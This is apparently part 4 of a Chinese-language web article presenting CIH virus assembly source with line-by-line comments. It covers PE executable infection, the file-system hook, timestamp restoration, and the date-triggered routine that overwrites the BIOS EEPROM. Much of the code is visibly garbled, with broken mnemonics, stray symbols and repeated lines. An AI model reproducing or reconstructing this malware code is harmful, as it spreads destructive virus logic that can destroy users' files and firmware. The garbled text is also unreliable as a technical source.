首頁  >  文章  >  後端開發  >  病毒程式原始碼實例剖析-CIH病毒[4]

病毒程式原始碼實例剖析-CIH病毒[4]

黄舟
黄舟原創
2017-01-17 11:23:271836瀏覽

push eax ;塊表大小 
  push edx ;edx為病毒代碼塊表的偏移 
  push esi ;緩衝區位址
  
 push;大小
  inc ecx 
  push ecx ; Save NumberOfSections+1 
  
  shl ecx, 03h ; add ecx, eax 
  add ecx, edx ;ecx+檔案的正文的偏移
  
  sub ecx, (SizeOfHeaders-@9)[esi] 
  not ecx 
  inc ecx ;。pushx
  
  xchg ecx, eax ;ecx為圖塊表大小 
  
  mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA位址 
  add eax, (ImageBase-@9)[esi]
  add eax, (ImageBase-@9)[esi] 裝入基底] ], eax ;保存裝入後實際的入口位址 
  
  ;未用空間和病毒第一塊大小比較,如果小於就只設感染標誌
  cmp word ptr [esp], small CodeSizeOfMerfMerrusc] 
  ; 讀取所有病毒塊表
  mov eax, ebp ;讀的功能號 
  call edi ;讀塊表到esi(@9處) 
  
  自壓; ,
  ;病毒不會感染。  pop ecx 讀4位元組 
  
  push edx 
  mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]ŀ
  add edx, 12h ;加10h+2h( 10h處為"WinZip....") 
  
  call edi ;讀4字節到esi 
  
  ;判斷WinmpzippZnes,若是就不設定感染標誌」
  je NotSetInfectedMark 
  
  pop edx ;edx指向區塊表在檔案中首址 
  
  布塊空間大小; TotalSizeOfVirusCodeSectionTabl 
  pop ecx ; ecx = NumberOfSections+1 

  push edi 
  add edx, ebp ; ebp為區塊表大小 
  push edx ;檔案指標 
  🀜  〜p)資料圖 pebS 區」 ush ebp ;緩衝區位址 
  
; 設定第一個病毒程式碼區塊的大小 
  lea eax, [ebp+edi-04h] 
  mov [eax], ebx 
  
  push; 設定第一個病毒塊大小的第一塊病毒塊類
add edx, edi 
  push edx ;檔案指標
  lea edi, (MyVirusStart-@9)[esi] 
  push 不同緩衝區位址為版本🀜  接NewAddressOfEntryPoint-@9)[esi ], edx ;儲存新的程式入口(病毒正文) 
  
  ; 設定初始資料
  lea edx, [esi-SizeOfScetionTable] ;edx
jmp StartToWriteCodeToSections 
  
  ;寫訊息到病毒塊
  LoopOfWriteCodeToSections: 
 〜、x, SizeOfSceTablec3)[ ;ebx為此區塊表項的SizeOfRawData(區塊大小) 
  sub ebx, (VirtualSize -@9][edx] ;減去VirtualSize等於此區塊未使用空間 
  jbe EndOfWriteCodeToSections 
  
  push ebx ; Sizes
 
 『 ax], ebx ;寫入病毒塊表 
  
  mov ebx, (PointerToRawData-@9)[edx] ;ebx為塊的物理(實際)偏移
  add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize 
  push ebx ;ebx指向該塊未用空間的文件指針 
  
  push edi ; 緩衝區位址 
  
  mov ebx, (VirtualSize-@9)[ , (ImageBase-@9)[esi] ; ebx為此區塊裝入後的實際位址 
  mov [eax+4], ebx ;儲存到病毒區塊表中 
  
  mov ebx, [eax ] ;該區塊未使用空間大小(H〠〠〠) edx], ebx ;加到該區塊表項的VirtualSize
  
  ;改該區塊表項的區塊屬性(改為可讀,並包含初始化資料)
  or (Characteristics-@9)[edx], 4000 ;開始寫程式碼
  StartToWriteCodeToSections: 
sub ebp, ebx ;病毒大小-病毒塊大小 
  
  ;如果小於(病毒插入完畢)就設定病毒塊表結束符
  jbe SetVirusCodeS
  ;寫入程式碼結束
  EndOfWriteCodeToSections : 
  loop LoopOfWriteCodeToSections 
  
  OnlySetInfectedMark: 
  mov esp 1 ;傳染的文件的程序 
  
  ;不設置感染標誌
  NotSetInfectedMark: 
  add esp, 3ch 
jmp CloseFile ;轉到CloseFile處 
  
  ;設定病毒塊表和標記
  SetVirusCodeSectionTableEndMarkMark: 
  5;調整病毒塊代碼🀎 〜8〜) h], ebp
  
  ;設定塊表結束標誌
  xor ebx, ebx 
  mov [eax-04h], ebx 🀎2 eax, (LastVxdCallAddress-2-@9) [esi] ;上一個呼叫Vxd指令的位址 
  
  mov cl, VxdCallTableSize ;所用Vxd呼叫的個數 
  
 axP.LoopOfRec​​v]還原成「int 20h」的形式 
  
  ;從VxdCallIDTable取出Vxd調用的id號放到edx
  mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi] 
  
  mov [ax+20, 201]
  ;VxdCallAddressTable中放著各個調用Vxd的指令地址之差
  movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi] 

〠)

   
  loop LoopOfRestoreVxdCallID ;還原其他的呼叫 
  
  ; 把病毒程式碼寫到檔案中
  WriteVirusCodeToFile: 
  mov eax, dr1 ;dr1為前面所保存的檔案〔105〜句柄
  mov edi, [eax] ;edi為保存在堆疊中的IFSMgr_Ring0_FileIO呼叫位址
  
  ;循環寫入
  〠子段的偏移病毒碼〠〠二號 jecxz SetFileModificationMark ;到病毒偏移零為止 

  mov esi, ecx 
  mov eax, 0d601h ;寫入檔案功能編號(R0_WRITEFILE) 
  pop edx ; edi ; VXD呼叫IFSMgr_Ring0_FileIO,寫檔案 
  ;依序寫入各段病毒程式碼、病毒塊表、新的
  ;文件塊表、新的程式入口、感染標誌 
  jmp LoopOfWriteVirusCodeToFile 
    pop ebx 
  pop eax 
  
  stc ;設定進位標誌 
  pushf ;標誌位入棧 
  ax. , eax 
  mov ah, 0d7h ;關閉檔案功能號 
  call edi ; Vxd呼叫IFSMgr_Ring0_FileIO關閉文件
  
  popf 
  pop esi 
  jnc IsKillComputer ;若進位標誌為0,就轉向KillComputer
 eb   
  mov ax, 4303h 
  mov ecx, (FileModificationTime-@7)[esi]
  mov edi, (FileModificationTime+2-@7)[esi] 
  call ebx ; Vxd呼叫IFSMgr_Ring0_FileIO,修改檔案的最後修改時間 🀜  〜〜〜〜〜〜〜〜〜〜〜〜〜〜〕 isableOnBusy: 
  dec byte ptr (OnBusy-@ 7)[esi] 
  
  ; 調用原來的FileSystemApiHook 
  prevhook: 
  popad ;恢復所有鉤針🀎 
  jmp [eax] ;跳到原來的鉤子去執行 
  
  pIFSFunc:
  mov ebx, esp ; ebx指向esp以獲得FileSystemApiHookFunction的參數位址
  push dfword ppush dpush dipi+20 call [ebx+20h+04h] ;調用pIFSFunc FSDFnAddr 
  pop ecx 
  
  mov [ebx+1ch], eax ;修改eax的值
  🀅mp 〜值〜值『 x+20h+04h+04h], 00000024h
  jne QuitMyVirusFileSystemHook 
  
  
  ;獲得在DOS模式下的文件的修改日期和時間 
  ;獲得在DOS模式下的文件的修改日期和時間 
 ax ;獲得在DOS模式下的文件的修改日期和時間 
 ax vmov (FileModificationTime-@6)[esi], eax ;保存取得的文件時間及日期 
  
  
  ;退出病毒程式
  QuitMyFconFileSystem ;退出病毒程式
  QuitMyHookFileSystem  ret ;從病毒設定的檔案鉤子程式中退出 

  ; 破壞計算機BIOS
  IsKillComputer: 
  ;從BIOS CMOS取得當前日期 
  mov al, 07h㠀 
  xor al, 26h ;判斷是否為26號,
  
  ;如果是調試程序,則轉向DisableOnBusy 
  IF DEBUG 
  jmp DisableOnBusy 
  ELSE 
  jnzHisableBusyEND ELSE 
  jnzHisableBusy」   
  ;開始破壞BIOS EEPROM *
  mov bp, 0cf8h 
  lea esi, IOForEEPROM -@7[esi] 
  
  ;顯示000E0000 - 000EFFFF 位址段的BIOS頁面,共64KB
  mov edi
  call esi 
  
  ;顯示000F0000 - 000FFFFF位址段的BIOS頁面,共64KB 
  mov di, 0058h 
  dec edx ; and a0fh 
  mov word ptr (BooleanCalculateCode-@10)[  mov word ptr (BooleanCalculateCode-@10)[]], 0f word 〟
  ; 顯示BIOS中額外的000E0000 - 000E01FF段的ROM數據,共512個字節
  ;和可寫的BIOS塊
  lea ebx, EnableEEPROMToWrite-@10[esi] 
  
ax mov e〠 ebx 
  mov byte ptr [eax], 60h

以上就是病毒程式原始碼實例剖析-CIH病毒[4]的內容,更多相關內容請關注PHP中文網(www.php.cn)!



陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn